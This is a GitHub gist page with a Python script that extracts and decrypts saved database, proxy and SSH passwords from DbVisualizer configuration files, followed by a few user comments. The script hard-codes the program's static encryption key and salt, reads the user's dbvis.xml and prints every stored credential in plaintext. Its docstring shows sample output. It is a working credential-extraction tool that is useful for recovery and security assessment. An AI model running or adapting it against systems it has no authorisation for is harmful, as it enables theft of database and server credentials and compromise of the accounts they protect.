Skip to content

Instantly share code, notes, and snippets.

@gerry
Last active April 19, 2024 03:42
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save gerry/c4602c23783d894b8d96 to your computer and use it in GitHub Desktop.
Save gerry/c4602c23783d894b8d96 to your computer and use it in GitHub Desktop.
A quick hack to extract and decrypt credentials from DbVisualizer config files.
#!/usr/bin/env python
# decrypt_dbvis.py ~ gerry@twitter.com
# DbVisualizer uses PBEWithMD5AndDES with a static key to store passwords.
# This is a quick hack to extract and decrypt credentials from DbVisualizer config files.
# Tested against DbVisualizer Free 9.0.9 and 9.1.6
"""
[2014-03-25 02:05:30][not-the-sea workspace]$ security/p/gerry/misc/decrypt_dbvis.py
[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)
[+] Additional Usage Options:
[+] security/p/gerry/misc/decrypt_dbvis.py <config filename>
[+] security/p/gerry/misc/decrypt_dbvis.py <encrypted password>
[+] Extracting credentials from /Users/jack/.dbvis/config70/dbvis.xml
driver | name | user | password | connection_info
------------+---------------------+-------------+--------------------+---------------------------------------
Proxy | Default Proxy | myproxyuser | somesecretpassword | socks://127.0.0.1:1234
Vertica 6.1 | vertica-prod | admin | password1 | jdbc:vertica://127.0.0.1:5434/userdata
PostgreSQL | PGTest | pg_user | pg_pass | Server=localhost,Port=5432,Database=
SQLite | Doodie | sqlituser | sqpasdf | Database file name=~/mysqlite.db
SSH | Doodie | root | s1qpa | localhost:22
[+] Done. Have Fun!
"""
import base64
from hashlib import md5
from Crypto.Cipher import DES
from os.path import expanduser
from lxml import etree, objectify
from collections import namedtuple
_iterations = 10
_salt = '\x8E\x129\x9C\aroZ' # -114, 18, 57, -100, 7, 114, 111, 90
_password = 'qinda'
Credential = namedtuple('Credential', ['driver', 'name', 'user',
'password', 'connection_info'])
class PBEWithMD5AndDES(object):
def __init__(self, password, salt, iterations):
key = self._generate_key(password, salt, iterations, 16)
self.key = key[:8]
self.iv = key[8:16]
def _cipher(self):
return DES.new(self.key, DES.MODE_CBC, self.iv)
def _generate_key(self, key, salt, count, length):
key = key + salt
for i in range(count):
key = md5(key).digest()
return key[:length]
def encrypt(self, plaintext):
padding = 8 - len(plaintext) % 8
plaintext += chr(padding) * padding
return self._cipher().encrypt(plaintext)
def decrypt(self, ciphertext):
plaintext = self._cipher().decrypt(ciphertext)
return plaintext[:-ord(plaintext[-1])]
def decrypt_password(password):
pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
return pbe.decrypt(base64.b64decode(password))
def extract_credentials(config_file):
with open(config_file, 'r') as xml_file:
xml_blob = xml_file.read()
root_obj = objectify.fromstring(xml_blob)
pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
creds = []
# Get any global proxy if it exists.
proxy_user = getattr(root_obj.General, 'ProxyUser', None)
proxy_pass = getattr(root_obj.General, 'ProxyPassword', None)
if proxy_pass and proxy_pass.text:
proxy_pass = pbe.decrypt(base64.b64decode(proxy_pass.text))
proxy_host = getattr(root_obj.General, 'ProxyHost', None)
proxy_port = getattr(root_obj.General, 'ProxyPort', None)
proxy_type = getattr(root_obj.General, 'ProxyType', None)
conn_info = "%s://%s:%s" % (proxy_type, proxy_host, proxy_port,)
conn_info = (proxy_user and proxy_pass) and conn_info or None
if conn_info:
creds.append(Credential(name="Default Proxy", user=proxy_user,
password=proxy_pass, connection_info=conn_info, driver='Proxy'))
# Grab and decrypt each DB password along with any SSh servers
cred = {}
for db in root_obj.Databases.Database:
cred['name'] = getattr(db, 'Alias', None)
cred['user'] = getattr(db, 'Userid', None)
password = getattr(db, 'Password', None)
if password is not None and password.text:
cred['password'] = pbe.decrypt(base64.b64decode(password.text))
cred['driver'] = getattr(db, 'Driver', None)
conn_info = getattr(db, 'Url', None)
if not conn_info:
params = db.UrlVariables.Driver.getchildren()
conn_info = ",".join(["%s=%s" % (p.get('UrlVariableName'), p) for p in params])
cred['connection_info'] = conn_info
creds.append(Credential(**cred))
# Note: I haven't tested anything related to ssh info extraction... no test cases
ssh_password = getattr(db.SshSettings, 'SshPassword', None)
if ssh_password and ssh_password.text:
host = getattr(db.SshSettings, 'SshHost', '')
port = getattr(db.SshSettings, 'SshPort', '22')
ssh_cred = dict(
driver="SSH",
name="%s" % (cred['name'],),
user=getattr(db.SshSettings, 'SshUserid'),
password=pbe.decrypt(base64.b64decode(ssh_password.text)),
connection_info="%s:%s" % (host, port,))
creds.append(Credential(**ssh_cred))
return creds
# Some modified snippet I had laying around. found it on stackoverflow maybe?
# TODO(gerry): Replace with prettytables.
def print_table(rows):
headers = rows[0]._fields
lens = []
for i in range(len(rows[0])):
lens.append(len(max([str(x[i]) for x in rows] + [headers[i]],
key=lambda x:len(str(x)))))
formats, hformats = [], []
for i in range(len(rows[0])):
if isinstance(rows[0][i], int):
formats.append("%%%dd" % lens[i])
else:
formats.append("%%-%ds" % lens[i])
hformats.append("%%-%ds" % lens[i])
pattern = " | ".join(formats)
hpattern = " | ".join(hformats)
separator = "-+-".join(['-' * n for n in lens])
print " ", hpattern % tuple(headers)
print " ", separator
for line in rows:
print " ", pattern % tuple(line)
if __name__ == '__main__':
import sys
import os.path
print "[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)"
if len(sys.argv) == 2:
if os.path.exists(sys.argv[1]):
dbvis_config = sys.argv[1]
else:
dbvis_config = None
else:
print "[+] Additional Usage Options: "
print "[+] %s <config filename>" % sys.argv[0]
print "[+] %s <encrypted password>" % sys.argv[0]
dbvis_config = "%s/.dbvis/config70/dbvis.xml" % os.path.expanduser("~")
if not dbvis_config:
password = sys.argv[1]
print "[+] Decrypting: %s" % (password,)
try:
print "[+] Plain Text: %s" % (decrypt_password(password),)
except Exception, e:
print "[!] Error decrypting! %s" % (e,)
sys.exit()
print "[+] Extracting credentials from %s\n" % (dbvis_config,)
print_table(extract_credentials(dbvis_config))
print "\n[+] Done. Have Fun!"
@matto108
Copy link

Hello,

Is it possible to have the same script but to encrypt the passwords?

Regards,

@rradenkovic
Copy link

Hi,
I'm getting error
File "C:\decrypt_dbvis.py", line 140
print " ", hpattern % tuple(headers)

How can I make this work?
Thanks in advance!

@Skeeve
Copy link

Skeeve commented Sep 1, 2022

Hi.

I just created a small Docker Wrapper for this as Python got removed from MacOS.

https://github.com/Skeeve/DeCrypt-DbVis

@Liki4
Copy link

Liki4 commented Apr 19, 2024

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment